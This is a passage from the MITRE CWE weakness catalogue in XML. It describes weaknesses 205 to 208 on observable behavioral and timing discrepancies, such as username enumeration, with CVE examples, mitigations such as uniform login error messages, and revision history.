                  <xhtml:br/>{
                  <xhtml:div style="margin-left:1em;">print "Login Failed - unknown username";
                  </xhtml:div>}
                  </xhtml:div>
               </Example_Code>
               <Body_Text>In the above code, there are different messages for when an incorrect username is supplied, versus when the username is correct but the password is wrong. This difference enables a potential attacker to understand the state of the login function, and could allow an attacker to discover a valid username by trying different values until the incorrect password message is returned. In essence, this makes it easier for an attacker to obtain half of the necessary authentication credentials.</Body_Text>
               <Body_Text>While this type of information may be helpful to a user, it is also useful to a potential attacker. In the above example, the message for both failed cases should be the same, such as:</Body_Text>
               <Example_Code Nature="Result">
                  <xhtml:div>"Login Failed - incorrect username or password"</xhtml:div>
               </Example_Code>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2002-2094</Reference>
               <Description>This, and others, use ".." attacks and monitor error responses, so there is overlap with directory traversal.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-2094</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2001-1483</Reference>
               <Description>Enumeration of valid usernames based on inconsistent responses</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2001-1483</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2001-1528</Reference>
               <Description>Account number enumeration via inconsistent responses.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2001-1528</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2004-2150</Reference>
               <Description>User enumeration via discrepancies in error messages.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-2150</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-1650</Reference>
               <Description>User enumeration via discrepancies in error messages.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-1650</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2004-0294</Reference>
               <Description>Bulletin Board displays different error messages when a user exists or not, which makes it easier for remote attackers to identify valid users and conduct a brute force password guessing attack.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-0294</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2004-0243</Reference>
               <Description>Operating System, when direct remote login is disabled, displays a different message if the password is correct, which allows remote attackers to guess the password via brute force methods.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-0243</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-0514</Reference>
               <Description>Product allows remote attackers to determine if a port is being filtered because the response packet TTL is different than the default TTL.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-0514</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-0515</Reference>
               <Description>Product sets a different TTL when a port is being filtered than when it is not being filtered, which allows remote attackers to identify filtered ports by comparing TTLs.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-0515</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2001-1387</Reference>
               <Description>Product may generate different responses than specified by the administrator, possibly leading to an information leak.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2001-1387</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2004-0778</Reference>
               <Description>Version control system allows remote attackers to determine the existence of arbitrary files and directories via the -X command for an alternate history file, which causes different error messages to be returned.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-0778</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2004-1428</Reference>
               <Description>FTP server generates an error message if the user name does not exist instead of prompting for a password, which allows remote attackers to determine valid usernames.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-1428</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Response discrepancy infoleak</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="331"/>
            <Related_Attack_Pattern CAPEC_ID="332"/>
            <Related_Attack_Pattern CAPEC_ID="541"/>
            <Related_Attack_Pattern CAPEC_ID="580"/>
         </Related_Attack_Patterns>
         <References>
            <Reference External_Reference_ID="REF-44" Section="&#34;Sin 12: Information Leakage.&#34; Page 191"/>
         </References>
         <Notes>
            <Note Type="Relationship">can overlap errors related to escalated privileges</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Relationship_Notes, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-10-14</Modification_Date>
               <Modification_Comment>updated Description, Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-12-28</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-09-27</Modification_Date>
               <Modification_Comment>updated Description, Name, Observed_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Observed_Examples, References, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Description, Name, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-12-10</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2010-09-27">Response Discrepancy Information Leak</Previous_Entry_Name>
			<Previous_Entry_Name Date="2020-02-24">Response Discrepancy Information Exposure</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="205" Name="Observable Behavioral Discrepancy" Abstraction="Base" Structure="Simple" Status="Incomplete">
         <Description>The product's behaviors indicate important differences that may be observed by unauthorized actors in a way that reveals (1) its internal state or decision process, or (2) differences from other products with equivalent functionality.</Description>
	 <Extended_Description>
	   Ideally, a product should provide as little information about its internal operations as possible.  Otherwise, attackers could use knowledge of these internal operations to simplify or optimize their attack.  In some cases, behavioral discrepancies can be used by attackers to form a side channel.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="203" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="CanPrecede" CWE_ID="514" View_ID="1000"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
            </Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Scope>Access Control</Scope>
               <Impact>Read Application Data</Impact>
               <Impact>Bypass Protection Mechanism</Impact>
            </Consequence>
         </Common_Consequences>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2002-0208</Reference>
               <Description>Product modifies TCP/IP stack and ICMP error messages in unusual ways that show the product is in use.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-0208</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2004-2252</Reference>
               <Description>Behavioral infoleak by responding to SYN-FIN packets.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-2252</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Behavioral Discrepancy Infoleak</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="WASC">
               <Entry_ID>45</Entry_ID>
               <Entry_Name>Fingerprinting</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="541"/>
            <Related_Attack_Pattern CAPEC_ID="580"/>
         </Related_Attack_Patterns>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-10-14</Modification_Date>
               <Modification_Comment>updated Description</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-12-28</Modification_Date>
               <Modification_Comment>updated Description, Name</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-02-16</Modification_Date>
               <Modification_Comment>updated Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Description, Name, Observed_Examples, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2009-12-28">Behavioral Discrepancy Information Leak</Previous_Entry_Name>
			<Previous_Entry_Name Date="2020-02-24">Information Exposure Through Behavioral Discrepancy</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="206" Name="Observable Internal Behavioral Discrepancy" Abstraction="Variant" Structure="Simple" Status="Incomplete">
         <Description>The product performs multiple behaviors that are combined to produce a single result, but the individual behaviors are observable separately in a way that allows attackers to reveal internal state or internal decision points.</Description>
	 <Extended_Description>
	   Ideally, a product should provide as little information as possible to an attacker.  Any hints that the attacker may be making progress can then be used to simplify or optimize the attack.  For example, in a login procedure that requires a username and password, ultimately there is only one decision: success or failure.  However, internally, two separate actions are performed: determining if the username exists, and checking if the password is correct.  If the product behaves differently based on whether the username exists or not, then the attacker only needs to concentrate on the password.
	 </Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="205" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
            </Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Scope>Access Control</Scope>
               <Impact>Read Application Data</Impact>
               <Impact>Bypass Protection Mechanism</Impact>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Description>Setup generic response pages for error conditions. The error page should not disclose information about the success or failure of a sensitive operation. For instance, the login page should not confirm that the login is correct and the password incorrect. The attacker who tries random account name may be able to guess some of them. Confirming that the account exists would make the login page more susceptible to brute force attack.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2002-2031</Reference>
               <Description>File existence via infoleak monitoring whether "onerror" handler fires or not.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-2031</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-2025</Reference>
               <Description>Valid groupname enumeration via behavioral infoleak (sends response if valid, doesn't respond if not).</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-2025</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2001-1497</Reference>
               <Description>Behavioral infoleak in GUI allows attackers to distinguish between alphanumeric and non-alphanumeric characters in a password, thus reducing the search space.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2001-1497</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2003-0190</Reference>
               <Description>Product immediately sends an error message when user does not exist instead of waiting until the password is provided, allowing username enumeration.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2003-0190</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Internal behavioral inconsistency infoleak</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Name</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Description, Name, Potential_Mitigations, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2011-03-29">Internal Behavioral Inconsistency Information Leak</Previous_Entry_Name>
			<Previous_Entry_Name Date="2020-02-24">Information Exposure of Internal State Through Behavioral Inconsistency</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="207" Name="Observable Behavioral Discrepancy With Equivalent Products" Abstraction="Variant" Structure="Simple" Status="Draft">
         <Description>The product operates in an environment in which its existence or specific identity should not be known, but it behaves differently than other products with equivalent functionality, in a way that is observable to an attacker.</Description>
	 <Extended_Description>
	   For many kinds of products, multiple products may be available that perform the same functionality, such as a web server, network interface, or intrusion detection system.  Attackers often perform "fingerprinting," which uses discrepancies in order to identify which specific product is in use.  Once the specific product has been identified, the attacks can be made more customized and efficient.  Often, an organization might intentionally allow the specific product to be identifiable.  However, in some environments, the ability to identify a distinct product is unacceptable, and it is expected that every product would behave in exactly the same way.  In these more restricted environments, a behavioral difference might pose an unacceptable risk if it makes it easier to identify the product's vendor, model, configuration, version, etc.
	 </Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="205" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
            </Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Scope>Access Control</Scope>
               <Impact>Read Application Data</Impact>
               <Impact>Bypass Protection Mechanism</Impact>
            </Consequence>
         </Common_Consequences>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2002-0208</Reference>
               <Description>Product modifies TCP/IP stack and ICMP error messages in unusual ways that show the product is in use.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-0208</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2004-2252</Reference>
               <Description>Behavioral infoleak by responding to SYN-FIN packets.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-2252</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2000-1142</Reference>
               <Description>Honeypot generates an error with a "pwd" command in a particular directory, allowing attacker to know they are in a honeypot system.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2000-1142</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>External behavioral inconsistency infoleak</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-12-28</Modification_Date>
               <Modification_Comment>updated Description, Name</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Description, Name, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2009-12-28">External Behavioral Inconsistency Information Leak</Previous_Entry_Name>
			<Previous_Entry_Name Date="2020-02-24">Information Exposure Through an External Behavioral Inconsistency</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="208" Name="Observable Timing Discrepancy" Abstraction="Base" Structure="Simple" Status="Incomplete">
         <Description>Two separate operations in a product require different amounts of time to complete, in a way that is observable to an actor and reveals security-relevant information about the state of the product, such as whether a particular operation was successful or not.</Description>
	 <Extended_Description>
	   In security-relevant contexts, even small variations in timing can be exploited by attackers to indirectly infer certain details about the product's internal operations.  For example, in some cryptographic algorithms, attackers can use timing differences to infer certain properties about a private key, making the key easier to guess.  Timing discrepancies effectively form a timing side channel.
	 </Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="203" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="CanPrecede" CWE_ID="385" View_ID="1000"/>
            <Related_Weakness Nature="CanPrecede" CWE_ID="327" View_ID="1000"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
               <Note>COMMISSION: This weakness refers to an incorrect design related to an architectural security tactic.</Note>
            </Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
            <Introduction>
               <Phase>Operation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Scope>Access Control</Scope>
               <Impact>Read Application Data</Impact>
               <Impact>Bypass Protection Mechanism</Impact>
            </Consequence>
         </Common_Consequences>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2019-10482</Reference>
               <Description>Smartphone OS uses comparison functions that are not in constant time, allowing side channels</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2019-10482</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2014-0984</Reference>
               <Description>Password-checking function in router terminates validation of a password entry when it encounters the first incorrect character, which allows remote attackers to obtain passwords via a brute-force attack that relies on timing differences in responses to incorrect password guesses, aka a timing side-channel attack.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2014-0984</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2003-0078</Reference>
               <Description>SSL implementation does not perform a MAC computation if an incorrect block cipher padding is used, which causes an information leak (timing discrepancy) that may make it easier to launch cryptographic attacks that rely on distinguishing between padding and MAC verification errors, possibly leading to extraction of the original plaintext, aka the "Vaudenay timing attack."</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2003-0078</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2000-1117</Reference>
               <Description>Virtual machine allows malicious web site operators to determine the existence of files on the client by measuring delays in the execution of the getSystemResource method.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2000-1117</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2003-0637</Reference>
               <Description>Product uses a shorter timeout for a non-existent user than a valid user, which makes it easier for remote attackers to guess usernames and conduct brute force password guessing.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2003-0637</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2003-0190</Reference>
               <Description>Product immediately sends an error message when a user does not exist, which allows remote attackers to determine valid usernames via a timing attack.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2003-0190</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2004-1602</Reference>
               <Description>FTP server responds in a different amount of time when a given username exists, which allows remote attackers to identify valid usernames by timing the server response.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-1602</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-0918</Reference>
               <Description>Browser allows remote attackers to determine the existence of arbitrary files by setting the src property to the target filename and using Javascript to determine if the web page immediately stops loading, which indicates whether the file exists or not.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-0918</Link>
            </Observed_Example>
         </Observed_Examples>
         <Functional_Areas>
            <Functional_Area>Cryptography</Functional_Area>
            <Functional_Area>Authentication</Functional_Area>
         </Functional_Areas>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Timing discrepancy infoleak</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="462"/>
            <Related_Attack_Pattern CAPEC_ID="541"/>
            <Related_Attack_Pattern CAPEC_ID="580"/>
         </Related_Attack_Patterns>
         <Notes>
            <Note Type="Relationship">Often primary in cryptographic applications and algorithms.</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
